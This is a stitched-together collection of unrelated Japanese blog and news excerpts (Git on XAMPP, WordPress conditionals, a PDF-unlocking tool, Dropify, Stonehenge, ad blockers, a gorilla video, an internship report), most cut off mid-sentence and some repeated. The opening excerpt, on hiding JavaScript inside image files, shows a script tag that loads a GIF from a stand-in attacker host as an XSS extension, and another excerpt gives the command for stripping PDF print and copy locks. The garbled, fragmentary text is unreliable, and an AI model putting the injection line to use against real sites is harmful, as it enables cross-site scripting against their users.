(Last Updated On: 2014年12月5日)前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。 http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/ <script src="http://cracked.example.com/cracked.gif"> などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。 このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。 Flicke

最近 Gitを手軽に利用できる環境が揃ってきました　(^^) ローカル環境で XAMPP を使って Webの開発を行っていたのですが、Git を使用したバージョン管理を導入したかったので調べてみました バージョン管理は、これまで subversion を少し使用していただけで、GitやGithub等の名前は聞いたことがありましたが、難しそうな感じがしたのでなんとなく避けていました 最近は Github 等のサービスを利用されている方も多いので、分散型のバージョン管理システムの知識も必要でしょうし、どんなものかは、とりあえず使用してみないとわかりません GitBucket という Gitクローンが Github と同じような感じで使用でき、インストールが簡単に出来るらしいということで Git 未経験の私としてはなにか ビビッ ときたわけで頑張って導入してみたいと思います (^^) XAMPP

『フォトショップ・ブイアイピー』の新着記事です。フォトショップやデザインをたのしむウェブサイト。2009年３月創刊以来、3800を超えるコンテンツを更新しています。フリーフォントなどの無料デザイン素材／配色やWeb制作といった最新トレンドも公開中。

[Å] 使い続けていたApple Musicの使用をやめた理由

2日連続でWordPressの「カテゴリでの条件分岐」「タグでの条件分岐」について書きました。 この2つは組み合わせることでより細かい条件で分岐していけるので便利なんですよ。 というわけで、カテゴリとタグを組み合わせた条件分岐の実例を紹介します。

前々から書いてるけど、わたしは大学出て新卒でリクルートにはいりました。全くサラリーマンには向いてないので四苦八苦しながらそれでも６年くらいは勤務しました。自分を誉めてやりたい。www リクルートを誉めるエントリーも何回か書きました。 ビジネスモデルが似てるリクルートと楽天の決定的な違いを語るよ が、しかし・・・本日ははじめてリクルートをdisります。と思ったらボンパレモールもdisっていたので２回目でござった。 で、本日の話題ですが・・・ 今のリクルートのメルマガシステムは楽天よりひどい!! です。 当たり前ですが、自分のFacebook友人にはリクルートの同期とか知人がたくさんいます。リクルート出身者って基本的に身びいきなんですが、最近になって数人が いくらなんでもリクルートのメルマガはおかしい と、Facebookで言っております。リクルートOBがそういうくらいなので本当におかしいので

PDFはビジネスの場でも数多く使われています。一つはビューワーを使えばどのプラットフォームでも同じように見られること、さらに印刷や編集の禁止など作成した人によってセキュリティを指定できる点にあると思われます。 しかしそんな幻想を破壊してしまうのがpdfunlockです。なかなか恐ろしいソフトウェアですよ。 pdfunlockの使い方 pdfunlockはこんな感じに使います。PDFファイルを渡すと、unlockedというサフィックスがついたPDFファイルが生成されます。 $ java -jar dist/pdfunlock.jar path_to_.pdf Unlocking path_to_.pdf to path_to_unlocked.pdf PDF Unlocked successfully! 解除されるのは印刷時やテキストコピー時のパスワードロックが解除されます。あまりにも簡単に

IconsfeedはiOSアプリのアイコンデザインギャラリーです。アイコンは全てではなく、管理者の主観や投稿によるコレクションのようで、現在380ほどが掲載されています。App Storeと同様のカテゴリに分けられている他、3Dや動物、フラットなど特定のタグや色でもカテゴライズされていますのでデザインギャラリーとしてブラウジングする事が可能です。ざっと見るのにも良さそうですね。 Iconsfeed

『フォトショップ・ブイアイピー』の新着記事です。フォトショップやデザインをたのしむウェブサイト。2009年３月創刊以来、3800を超えるコンテンツを更新しています。フリーフォントなどの無料デザイン素材／配色やWeb制作といった最新トレンドも公開中。

デザイナーをはじめ、多くの制作者が利用している「アマナイメージズ」協力のもと、写真やイラストの著作権・被写体の肖像権についてまとめました。 Webデザインで写真やイラストの素材を使用する時、写真をトレースしてイラストを描き起こす時、写真を模倣してほぼ同じ構図やシーンで撮影する時など、写真やイラストを安全に使うために知っておきたいことを紹介します。 画像: 新緑 © daj /amanaimages 以下の掲載写真の使用許諾は、アマナ様にすべてご手配いただきました。 写真やイラストの権利について 写真やイラストを安全に使うために知っておきたいこと ケーススタディ: まとめサイトでの画像引用、制作委託先が不正利用していたなど 写真やイラストの権利について 写真やイラストには、原則として著作権が存在します。 素材（有料・無料に関わらず）として利用できる写真やイラストも著作権の保護期間を過ぎたもの

HTMLのデザインでいけてないのは入力系ではないでしょうか。特にファイルアップロードのフォームはダサいも良いところです。HTML5になってファイルをドラッグ&ドロップでアップロードできるようになったことでずいぶん良くなっています。 しかしデフォルトで格好良いわけではありません。自分でカスタマイズする必要があります。そこで使ってみたいのがDropifyです。 Dropifyの使い方 上が通常、下がDropifyを使った場合です。 デフォルトの画像を適用したり、ボックスの高さを指定することができます。 こちらは無効な場合。打ち消し線が良い感じです。 多言語対応もしています。 Dropifyを使えばファイルアップロードフォームが華麗に変身します。ドラッグ&ドロップはもちろん、プレビューも表示されます。その意味では画像に限定されるかと思いますが、積極的に使っていきたいライブラリです。 Dropif

サラリーマンブロガーの記事が超つまらない理由 http://www.ikedahayato.com/20150908/41559313.html 釣られたぁ・・・。 ダメだこいつはやくなんとかしないと・・・っていつも思うから見ないようにして、さらに絶対記事かいてリンクなんてはらないぞっていつも思ってたのに、人の感情に直接語りかけてくるあたりスゴイ人ですね。 今回はみんなだいすきイケダハヤト芸について考えてみたいと思います。 イケダハヤト氏の主張 昔学生の主張っていうNHKの番組があったような気がするんですけどあんな感じですだいたいあってます。 LIGブログが守りに入っていて、最近クソつまんない つまらない理由は、サラリーマンブログだからサラリーマンブログは他人を傷つけられないからエッジがない残された手段はお笑いのテクニックを磨くか、美女、芸能人をひっぱるしかないそんなのテレビでいいしNAV

『アメトーーク!』家電芸人が絶賛したサーキュライトが #Amazonプライムデー に登場! スペパ抜群で、簡単にスマートホーム化

英国の有名な遺跡「ストーンヘンジ」の近くに、先史時代の巨石群が埋まっていることが分かったと英研究者が発表しました。 スーパーヘンジ ストーンヘンジから3キロ弱の巨大な円形状の土塁「ダーリントン・ウォール」の下に巨石群が埋まっている証拠が、最新のセンサー技術によって見つかったとのこと。この「スーパーヘンジ」はおよそ4500年前に作られ、最大で100個の石が並んでいたとみられます。直径500メートルほどで、石の高さは最高で4.5メートル。これらの石が倒され、その上に土塁ができたと考えられます。 ダーリントン・ウォール。黄色い点は石のある場所を示している 調査の様子 新たに大規模な巨石群が発見されたことは、ストーンヘンジを理解する上で重要な意味を持つと研究者は述べています。 ストーンヘンジ advertisement 関連記事 世界遺産パルミラ遺跡のベル神殿がISILにより破壊　国連訓練調査研究

※本記事はアフィリエイトプログラムによる収益を得ています 時々思うんだよね。ナマコを最初に食べた人って勇気あるなって。毒のあるフグを意地でも食べようとした人って執念だよなって。おかげでぼくらは食べられるわけだ。ありがとう先人。 ライオスのこの目。この目で「食えるかな」とモンスターをにらむ マンガ「ダンジョン飯」（九井諒子／KADOKAWA）は、ファンタジーRPG的世界観の中で、ダンジョンに住む魔物をどう食べるか追求した作品。確かにモンスターゆうてもキノコとかカニとかウサギとかいますしね。食べれそうな気はします。 けれど、主人公ライオスの「何がなんでも食べてやる」という探究心はちょっとサイコパス。 好きであるがゆえに 剣士のライオスは、ドラゴンに食われてしまった妹ファリンを救うため、ダンジョンに潜ります。ゲームのような世界観なので、死んでも復活できます。ファリンはたまたま飲み込まれて腹の中に

動物園のゴリラが、お客さんに見せられたスマホをとても興味深そうに見つめる動画が人気となっています。公開から2日で50万再生以上されており、300件を超えるコメントが寄せられています。 He showed a gorilla photos of other gorillas on his phone. Watch the gorilla's reaction! ガラス越しにスマホを向けられたゴリラ、最初は正面から静かにじーっと眺めています。スマホの画面には、人間がゴリラの赤ちゃんを背負っている画像が写っているようです。 じーっ…… スマホにはゴリラの赤ちゃん スマホを見せているお客さんの横には人間の赤ちゃんもいるのですが、ゴリラは見向きもしません。とにかくスマホが気になるようです。 人間の赤ちゃんはスルー 最後には壁に寄りかかり、ガラス越しに肩を寄せ合う1人と1頭。まるで友達同士のようにスマ

By Rego Korosi ウェブページの表示スピードを速めて快適なブラウジングを楽しもうと「Adblock Plus」や「AdBlock」といった広告を削除する拡張機能をブラウザに入れることがありますが、一部のChromeユーザーから「広告を削除する拡張機能を入れているのにブロックできない」などの批判が相次いでおり、Googleが広告削除ツールを回避して広告を強制表示している可能性まで疑われています。 Google Chrome reportedly bypassing Adblock, forces users to watch full-length video ads http://www.neowin.net/news/google-chrome-reportedly-bypassing-adblock-forces-users-to-watch-full-length-vid

The Wall Street Journal(WSJ)は、Amazonが50ドル(約6000円)という激安タブレット端末をリリース予定であると報じています。理由もなくAmazonが激安タブレットを販売するわけもなく、そこには大きな狙いがあるようです。 Amazon to Release $50 Tablet as It Struggles to Sell Pricier Devices - WSJ http://www.wsj.com/article_email/amazon-to-release-50-tablet-as-it-struggles-to-sell-pricier-devices-1441653902-lMyQjAxMTE1MzAwNzEwMTczWj WSJによると、Amazonが年内のリリースを計画中のタブレット端末は、6インチディスプレイを搭載し、価格は現行のタブレ

Research indicates that carbon dioxide removal plans will not be enough to meet Paris treaty goals

Research indicates that carbon dioxide removal plans will not be enough to meet Paris treaty goals

by Becky Stern Googleなどが開発を進めている自動運転車は、既に公道走行を始めていて実用段階に向けたデータ収集が進められているところですが、Google以外にも全ての自動運転車に共通の脆弱性が明らかになりました。 Self-driving cars can be fooled by fake cars, pedestrians and other bogus signals | Alphr http://www.alphr.com/cars/1001483/self-driving-cars-can-be-fooled-by-fake-cars-pedestrians-and-other-bogus-signals ソフトウェアセキュリティ会社Security Innovationの主任であるJonathan Petit氏が、自動運転車の「目」となるライダー(LIDAR)

By Ken Teegardin 証券市場に上場して新規株式を公開するIPOによってテクノロジー企業が巨額の資金をゲットすることは、今ではすっかり当たり前になりました。高い成長力を買われて大金を集めるテクノロジー企業に投資する立場からすれば、どのような会社に投資するのが良いのかについては、一般企業への投資とは異なる視点が必要であると指摘されています。 All Revenue is Not Created Equal: The Keys to the 10X Revenue Club | Above the Crowd | By Bill Gurley http://abovethecrowd.com/2011/05/24/all-revenue-is-not-created-equal-the-keys-to-the-how-to-invest-on-tech/ 株式や不動産などの収益資産

Oyo, the Indian budget-hotel chain startup, is finalizing a fresh fundraise of about $100 million to $125 million that slashes its valuation to $2.5 billion, two people familiar with the…

・データベース的な観点でのソーシャルゲームの特徴 ・データモデル ・ソーシャルゲームに従来型RDBMSを使うべきか、�流行りのNoSQLで行くべきか ・負荷対策 (アーキテクチャ面) ・負荷対策 (ツール面) ・インフラエンジニアのキャリアについて

はじめに 最近メーラーをGmailからInbox by Goolgeに移行しまして、メール一覧から本文に遷移するアニメーションや本文からメール一覧に戻るアクションが自然で良いと感じたので、それらを容易に扱えるようにする方法を書いていこうと思います。 このgifアニメーションは、SAInboxViewController(113Stars 2015/09/10)のサンプルになります。 今回はこのSAInboxViewControllerを利用して、Inbox by Googleの遷移を実現していきます。 インストール方法 iOS8以降の場合 Cocoapodsからのインストールが可能です。 Podfileに を追記してインストールしてください。 iOS7の場合 SAInboxViewControllerの5つのファイルをプロジェクトファイルに追加してください。 使用方法 1: まず、一覧を表

ホームその他ニュースアプリ関連Adblock Plus、iOS向けに広告ブロック機能を搭載したブラウザアプリ｢Adblock Browser｣をリリース Adblock Plus、iOS向けに広告ブロック機能を搭載したブラウザアプリ｢Adblock Browser｣をリリース 2015 9/09 ウェブサイトの広告をブロックしてくれるブラウザ拡張機能として有名は｢Adblock Plus｣が、iOS向けにブラウザアプリをリリースしました。 その名も｢Adblock Browser｣で、｢iOS 9｣で利用可能になると言われているコンテンツブロッカーの拡張機能ではなく、単体のブラウザアプリとなっており、標準では広告が全てブロックされる設定になっていますが、サイト別に広告をブロックするかどうかが選択可能となっている他、色々と細かく設定可能となっています。 なお、広告をブロックする事でサイトの読

お客様各位 平素よりキンセイをご愛顧いただき、誠にありがとうございます。 「キンセイ（iBeacon／BLE版）」は、2019年3月末をもちましてサービスを終了いたしました。 ご利用いただいておりましたお客さまには誠に申し訳ございませんが、何卒ご了承いただきますようお願い申し上げます。 これまでのご愛顧、誠にありがとうございました。 【サービス終了までのスケジュール】 2019年1月 ・アプリ配信停止（iOS, Android） 2019年3月31日（日） ・サービス終了 2019年4月1日（月） ・サービス機能停止 2019年4月下旬 ・公式サイト終了 ・サポート終了 【有料プランをご利用の方へ】 有料プラン解約はお客様自身にて操作が必要となります。 2019年3月31日（日）までに有料プランの解約をお願いいたします。 解約方法は次の通りです。 iPhone および その他のiOS端末を

こんにちは！クックパッド編集室メディア開発グループ長の @yoshiori です。 このまえ夏の技術職インターンシップの前半の開発講義・課題部分が終わったのでさっそく公開しちゃいます！ ちなみにこのインターンの対象者はプログラミングはわかるし自分で（授業とかではなく）コード書いている人なので超初心者向けでは無く、少なくともひとつ以上の言語でプログラミングが出来る人向けです。 一日目 TDD + git 編（@yoshiori） 講義初日なのでまずは簡単に肩慣らし & 開発の基礎の部分として TDD と git で始めました。 git については軽く説明し TDD は基本のテストファーストで進めて行きました。 ちゃんと何かをするたびにテストを実行し、メッセージを見れば次にすることが分かるというのを体験してもらい、GREEN が良くて RED が悪いのではなく、GREEN を想定しているのに